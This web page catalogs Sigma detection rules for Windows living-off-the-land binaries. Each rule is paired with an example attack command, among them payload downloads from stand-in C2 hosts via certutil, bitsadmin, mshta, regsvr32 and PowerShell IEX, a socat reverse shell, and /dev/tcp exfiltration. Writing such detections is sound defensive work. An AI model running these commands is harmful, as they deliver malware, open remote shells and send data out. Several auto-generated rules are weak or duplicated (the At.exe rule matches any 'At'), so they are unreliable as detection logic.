Sigma YAML v2 Standard Detection Rules
Universal Sigma YAML rule definitions conforming to the SigmaHQ v2 specification. Designed for automated compilation to Sentinel, Splunk, Elastic, QRadar, and CrowdStrike via pySigma.
Sigma Rule Catalog
Showing 1–25 of 521 rulesDownload an executable payload from a remote URL to the user temporary directory, bypassing browser security controls.
certutil.exe -urlcache -split -f http://example.com/payload.exe %TEMP%\update.exe1title: Remote File Download Via Certutil2id: e011a79f-87ae-4f9b-98a4-0c2b09a63b013status: test4description: Detects execution of certutil.exe with URL cache switches to download remote payloads5logsource:6 category: process_creation7 product: windows8detection:9 selection:10 Image|endswith: '\certutil.exe'11 CommandLine|contains|all:12 - 'urlcache'13 - 'split'14 condition: selection15level: highDecode a Base64-encoded file into a binary executable on disk to bypass perimeter inspection mechanisms.
certutil.exe -decode %TEMP%\encoded.txt %TEMP%\beacon.exe1title: Suspicious File Decoding Via Certutil2id: 5493a388-3485-48b4-934c-68784d16d0013status: stable4description: Detects certutil.exe decoding files to evade antivirus inspection5logsource:6 category: process_creation7 product: windows8detection:9 selection:10 Image|endswith: '\certutil.exe'11 CommandLine|contains:12 - 'decode'13 condition: selection14level: mediumExecutes inline VBScript code via mshta to spawn a hidden PowerShell process and run memory-resident payloads.
mshta.exe vbscript:Close(Execute("CreateObject(""WScript.Shell"").Run ""powershell.exe -nop -w hidden -enc JAB...="",0"))1title: Mshta Inline Script Execution2id: c6b4b4c2-0056-42bb-a0f2-b7e61a6b00023status: test4description: Detects mshta executing inline VBScript or JScript code5logsource:6 category: process_creation7 product: windows8detection:9 selection:10 Image|endswith: '\mshta.exe'11 CommandLine|contains:12 - 'vbscript:'13 - 'javascript:'14 - 'about:'15 condition: selection16level: highFetch and execute an HTML application payload directly over HTTP without saving the payload as a recognized executable file.
mshta.exe http://malicious.domain/payload.hta1title: Mshta Remote HTA Execution2id: a8d59183-5099-4d6f-8086-538466b000033status: stable4description: Detects mshta launching remote HTA files over HTTP/HTTPS5logsource:6 category: process_creation7 product: windows8detection:9 selection:10 Image|endswith: '\mshta.exe'11 CommandLine|contains:12 - 'http://'13 - 'https://'14 condition: selection15level: highExecute remote scriptlet code via javascript protocol calling mshtml.dll RunHTMLApplication export.
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();GetObject("script:https://raw.githubusercontent.com/payload.sct")1title: Rundll32 Protocol Handler Script Execution2id: f45b0a68-b715-4fa8-bfb9-f018e69000043status: stable4description: Detects rundll32 abusing mshtml RunHTMLApplication protocol handlers5logsource:6 category: process_creation7 product: windows8detection:9 selection:10 Image|endswith: '\rundll32.exe'11 CommandLine|contains:12 - 'javascript:'13 - 'RunHTMLApplication'14 condition: selection15level: criticalExecute an exported entrypoint function inside a dropped DLL located in an untrusted directory.
rundll32.exe C:\Users\Public\malware.dll,StartW1title: Rundll32 Execution From Untrusted Directory2id: b252c8cf-81c0-482a-bc95-0e62058000053status: test4description: Detects rundll32 loading DLLs from suspicious user writable directories5logsource:6 category: process_creation7 product: windows8detection:9 selection:10 Image|endswith: '\rundll32.exe'11 CommandLine|contains:12 - '\Users\Public\'13 - '\AppData\Local\Temp\'14 - '\ProgramData\'15 condition: selection16level: highCreates a high-priority background transfer job to download a remote payload into the Windows Temp folder.
bitsadmin.exe /transfer myJob /download /priority foreground http://c2.evil.com/implant.exe C:\Windows\Temp\implant.exe1title: Bitsadmin Remote Payload Download2id: 9788f4e2-45e0-4eb6-921c-43952f4000063status: stable4description: Detects bitsadmin transferring files from external web addresses5logsource:6 category: process_creation7 product: windows8detection:9 selection:10 Image|endswith: '\bitsadmin.exe'11 CommandLine|contains|all:12 - '/transfer'13 - 'http'14 condition: selection15level: highExecute remote scriptlet payload from a web server via scrobj.dll, bypassing application whitelisting and registry changes.
regsvr32.exe /s /n /u /i:http://attack.server/payload.sct scrobj.dll1title: Squiblydoo Regsvr32 Remote Scriptlet Execution2id: c9e504c5-0a56-424a-9509-6d6c1b8000073status: stable4description: Detects regsvr32 downloading and running remote COM scriptlets via scrobj.dll5logsource:6 category: process_creation7 product: windows8detection:9 selection:10 Image|endswith: '\regsvr32.exe'11 CommandLine|contains:12 - 'scrobj.dll'13 - '/i:http'14 condition: selection15level: criticalBypasses execution policy, creates a web client, downloads a remote script directly into memory, and evaluates it with Invoke-Expression.
powershell.exe -nop -w hidden -ep bypass -c "IEX ((New-Object Net.WebClient).DownloadString('http://c2.server/stage2.ps1'))"1title: Suspicious PowerShell DownloadString Execution2id: 3b6db462-9508-494d-9878-028c704000083status: stable4description: Detects in-memory remote script downloads via PowerShell DownloadString and IEX5logsource:6 category: process_creation7 product: windows8detection:9 selection:10 Image|endswith: 11 - '\powershell.exe'12 - '\pwsh.exe'13 CommandLine|contains:14 - 'DownloadString'15 - 'Net.WebClient'16 condition: selection17level: highExecutes a Unicode Base64-encoded command string to evade command-line pattern matching.
powershell.exe -noni -nop -w hidden -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==1title: Base64 Encoded PowerShell Command2id: f549f2b8-9b88-466d-8957-61c028a000093status: stable4description: Detects execution of encoded PowerShell commands5logsource:6 category: process_creation7 product: windows8detection:9 selection:10 Image|endswith: '\powershell.exe'11 CommandLine|contains:12 - ' -enc '13 - ' -EncodedCommand '14 condition: selection15level: mediumAbuses WMIC process call create to launch child processes with WmiPrvSE.exe as parent, breaking normal process lineage.
wmic.exe process call create "powershell.exe -w hidden -enc ..."1title: WMIC Process Creation2id: e4b25916-24e5-4f40-a19c-850d995000103status: stable4description: Detects process spawning via WMIC process call create5logsource:6 category: process_creation7 product: windows8detection:9 selection:10 Image|endswith: '\wmic.exe'11 CommandLine|contains|all:12 - 'process'13 - 'call'14 - 'create'15 condition: selection16level: mediumRuns a VBScript quietly without banner or user alerts from a temporary location.
cscript.exe //B //Nologo %TEMP%\recon.vbs1title: Script Execution From Temp Folder Via Cscript2id: 61875c74-e5e3-4f9e-8c8e-bfbb66e000113status: stable4description: Detects cscript executing scripts located in temporary directories5logsource:6 category: process_creation7 product: windows8detection:9 selection:10 Image|endswith: 11 - '\cscript.exe'12 - '\wscript.exe'13 CommandLine|contains:14 - '\Temp\'15 - '\AppData\'16 condition: selection17level: mediumAddinUtil is executed from the directory where the 'Addins.Store' payload exists, AddinUtil will execute the 'Addins.Store' payload.
C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddinUtil.exe -AddinRoot:.1title: Suspicious AddinUtil.exe Execute Activity2id: gen-648j05sp3status: experimental4description: Detects potentially malicious execution of AddinUtil.exe associated with System Binary Proxy Execution.5references:6 - https://www.lolpulse.dev/7author: LOLPulse Detection Engine8date: 2026-09-209tags:10 - attack.t121811 - attack.execute12logsource:13 category: process_creation14 product: windows15detection:16 selection_img:17 Image|endswith:18 - '\AddinUtil.exe'19 selection_flags:20 CommandLine|contains:21 - 'AddinUtil'22 condition: selection_img and selection_flags23falsepositives:24 - Legitimate administrative scripting or system utilities25level: mediumAppInstaller.exe is spawned by the default handler for the URI, it attempts to load/install a package from the URL and is saved in INetCache.
start ms-appinstaller://?source={REMOTEURL:.exe}1title: Suspicious AppInstaller.exe Download Activity2id: gen-y55lc15n3status: experimental4description: Detects potentially malicious execution of AppInstaller.exe associated with Ingress Tool Transfer.5references:6 - https://www.lolpulse.dev/7author: LOLPulse Detection Engine8date: 2026-09-209tags:10 - attack.t110511 - attack.download12logsource:13 category: process_creation14 product: windows15detection:16 selection_img:17 Image|endswith:18 - '\AppInstaller.exe'19 selection_flags:20 CommandLine|contains:21 - 'AppInstaller'22 condition: selection_img and selection_flags23falsepositives:24 - Legitimate administrative scripting or system utilities25level: highLaunches a ClickOnce application via `Applaunch.exe`. Bypasses SmartScreen and default AppLocker rules when the application is published as partial trust.
"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Applaunch.exe" /activate "{REMOTEURL}#APPLICATION_METADATA_HERE"1title: Suspicious Applaunch.exe Defense Evasion Activity2id: gen-1ypeio663status: experimental4description: Detects potentially malicious execution of Applaunch.exe associated with Technique T1127.002.5references:6 - https://www.lolpulse.dev/7author: LOLPulse Detection Engine8date: 2026-09-209tags:10 - attack.t1127.00211 - attack.defense_evasion12logsource:13 category: process_creation14 product: windows15detection:16 selection_img:17 Image|endswith:18 - '\Applaunch.exe'19 selection_flags:20 CommandLine|contains:21 - 'Applaunch'22 condition: selection_img and selection_flags23falsepositives:24 - Legitimate administrative scripting or system utilities25level: mediumExecute C# code with the Build Provider and proper folder structure in place.
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\aspnet_compiler.exe -v none -p C:\users\cpl.internal\desktop\asptest\ -f C:\users\cpl.internal\desktop\asptest\none -u1title: Suspicious Aspnet_Compiler.exe Defense Evasion Activity2id: gen-tzl93mzi3status: experimental4description: Detects potentially malicious execution of Aspnet_Compiler.exe associated with Technique T1127.5references:6 - https://www.lolpulse.dev/7author: LOLPulse Detection Engine8date: 2026-09-209tags:10 - attack.t112711 - attack.defense_evasion12logsource:13 category: process_creation14 product: windows15detection:16 selection_img:17 Image|endswith:18 - '\Aspnet_Compiler.exe'19 selection_flags:20 CommandLine|contains:21 - 'Aspnet_Compiler'22 condition: selection_img and selection_flags23falsepositives:24 - Legitimate administrative scripting or system utilities25level: mediumCreate a recurring task to execute every day at a specific time.
C:\Windows\System32\at.exe 09:00 /interactive /every:m,t,w,th,f,s,su {CMD}1title: Suspicious At.exe Execute Activity2id: gen-cxvhhhln3status: experimental4description: Detects potentially malicious execution of At.exe associated with Technique T1053.002.5references:6 - https://www.lolpulse.dev/7author: LOLPulse Detection Engine8date: 2026-09-209tags:10 - attack.t1053.00211 - attack.execute12logsource:13 category: process_creation14 product: windows15detection:16 selection_img:17 Image|endswith:18 - '\At.exe'19 selection_flags:20 CommandLine|contains:21 - 'At'22 condition: selection_img and selection_flags23falsepositives:24 - Legitimate administrative scripting or system utilities25level: mediumStart a registered Assistive Technology (AT).
ATBroker.exe /start malware1title: Suspicious Atbroker.exe Execute Activity2id: gen-v0vt1pgv3status: experimental4description: Detects potentially malicious execution of Atbroker.exe associated with System Binary Proxy Execution.5references:6 - https://www.lolpulse.dev/7author: LOLPulse Detection Engine8date: 2026-09-209tags:10 - attack.t121811 - attack.execute12logsource:13 category: process_creation14 product: windows15detection:16 selection_img:17 Image|endswith:18 - '\Atbroker.exe'19 selection_flags:20 CommandLine|contains:21 - 'Atbroker'22 condition: selection_img and selection_flags23falsepositives:24 - Legitimate administrative scripting or system utilities25level: mediumExecutes executable from bash.exe
bash.exe -c "{CMD}"1title: Suspicious Bash.exe Execute Activity2id: gen-yaujpbk93status: experimental4description: Detects potentially malicious execution of Bash.exe associated with Technique T1202.5references:6 - https://www.lolpulse.dev/7author: LOLPulse Detection Engine8date: 2026-09-209tags:10 - attack.t120211 - attack.execute12logsource:13 category: process_creation14 product: windows15detection:16 selection_img:17 Image|endswith:18 - '\Bash.exe'19 selection_flags:20 CommandLine|contains:21 - 'Bash'22 condition: selection_img and selection_flags23falsepositives:24 - Legitimate administrative scripting or system utilities25level: mediumExecutes a reverse shell
bash.exe -c "socat tcp-connect:192.168.1.9:66 exec:sh,pty,stderr,setsid,sigint,sane"1title: Suspicious Bash.exe Execute Activity2id: gen-p433ngnk3status: experimental4description: Detects potentially malicious execution of Bash.exe associated with Technique T1202.5references:6 - https://www.lolpulse.dev/7author: LOLPulse Detection Engine8date: 2026-09-209tags:10 - attack.t120211 - attack.execute12logsource:13 category: process_creation14 product: windows15detection:16 selection_img:17 Image|endswith:18 - '\Bash.exe'19 selection_flags:20 CommandLine|contains:21 - 'Bash'22 condition: selection_img and selection_flags23falsepositives:24 - Legitimate administrative scripting or system utilities25level: mediumExfiltrate data
bash.exe -c 'cat {PATH:.zip} > /dev/tcp/192.168.1.10/24'1title: Suspicious Bash.exe Execute Activity2id: gen-04oui94b3status: experimental4description: Detects potentially malicious execution of Bash.exe associated with Technique T1202.5references:6 - https://www.lolpulse.dev/7author: LOLPulse Detection Engine8date: 2026-09-209tags:10 - attack.t120211 - attack.execute12logsource:13 category: process_creation14 product: windows15detection:16 selection_img:17 Image|endswith:18 - '\Bash.exe'19 selection_flags:20 CommandLine|contains:21 - 'Bash'22 condition: selection_img and selection_flags23falsepositives:24 - Legitimate administrative scripting or system utilities25level: mediumExecutes executable from bash.exe
bash.exe -c "{CMD}"1title: Suspicious Bash.exe Defense Evasion Activity2id: gen-6zomlhf83status: experimental4description: Detects potentially malicious execution of Bash.exe associated with Technique T1202.5references:6 - https://www.lolpulse.dev/7author: LOLPulse Detection Engine8date: 2026-09-209tags:10 - attack.t120211 - attack.defense_evasion12logsource:13 category: process_creation14 product: windows15detection:16 selection_img:17 Image|endswith:18 - '\Bash.exe'19 selection_flags:20 CommandLine|contains:21 - 'Bash'22 condition: selection_img and selection_flags23falsepositives:24 - Legitimate administrative scripting or system utilities25level: mediumWhen executed, `bash.exe` queries the registry value of `HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Lxss\MSI\InstallLocation`, which contains a folder path (`c:\program files\wsl` by default). If the value points to another folder containing a file named `wsl.exe`, it will be executed instead of the legitimate `wsl.exe` in the program files folder.
bash.exe1title: Suspicious Bash.exe Execute Activity2id: gen-26avi6ff3status: experimental4description: Detects potentially malicious execution of Bash.exe associated with System Binary Proxy Execution.5references:6 - https://www.lolpulse.dev/7author: LOLPulse Detection Engine8date: 2026-09-209tags:10 - attack.t121811 - attack.execute12logsource:13 category: process_creation14 product: windows15detection:16 selection_img:17 Image|endswith:18 - '\Bash.exe'19 selection_flags:20 CommandLine|contains:21 - 'Bash'22 condition: selection_img and selection_flags23falsepositives:24 - Legitimate administrative scripting or system utilities25level: mediumLoads the target DLL file
certoc.exe -LoadDLL {PATH_ABSOLUTE:.dll}1title: Suspicious CertOC.exe Execute Activity2id: gen-uqxh32mj3status: experimental4description: Detects potentially malicious execution of CertOC.exe associated with System Binary Proxy Execution.5references:6 - https://www.lolpulse.dev/7author: LOLPulse Detection Engine8date: 2026-09-209tags:10 - attack.t121811 - attack.execute12logsource:13 category: process_creation14 product: windows15detection:16 selection_img:17 Image|endswith:18 - '\CertOC.exe'19 selection_flags:20 CommandLine|contains:21 - 'CertOC'22 condition: selection_img and selection_flags23falsepositives:24 - Legitimate administrative scripting or system utilities25level: mediumDownloads text formatted files
certoc.exe -GetCACAPS {REMOTEURL:.ps1}1title: Suspicious CertOC.exe Download Activity2id: gen-4wsu5ilw3status: experimental4description: Detects potentially malicious execution of CertOC.exe associated with Ingress Tool Transfer.5references:6 - https://www.lolpulse.dev/7author: LOLPulse Detection Engine8date: 2026-09-209tags:10 - attack.t110511 - attack.download12logsource:13 category: process_creation14 product: windows15detection:16 selection_img:17 Image|endswith:18 - '\CertOC.exe'19 selection_flags:20 CommandLine|contains:21 - 'CertOC'22 condition: selection_img and selection_flags23falsepositives:24 - Legitimate administrative scripting or system utilities25level: high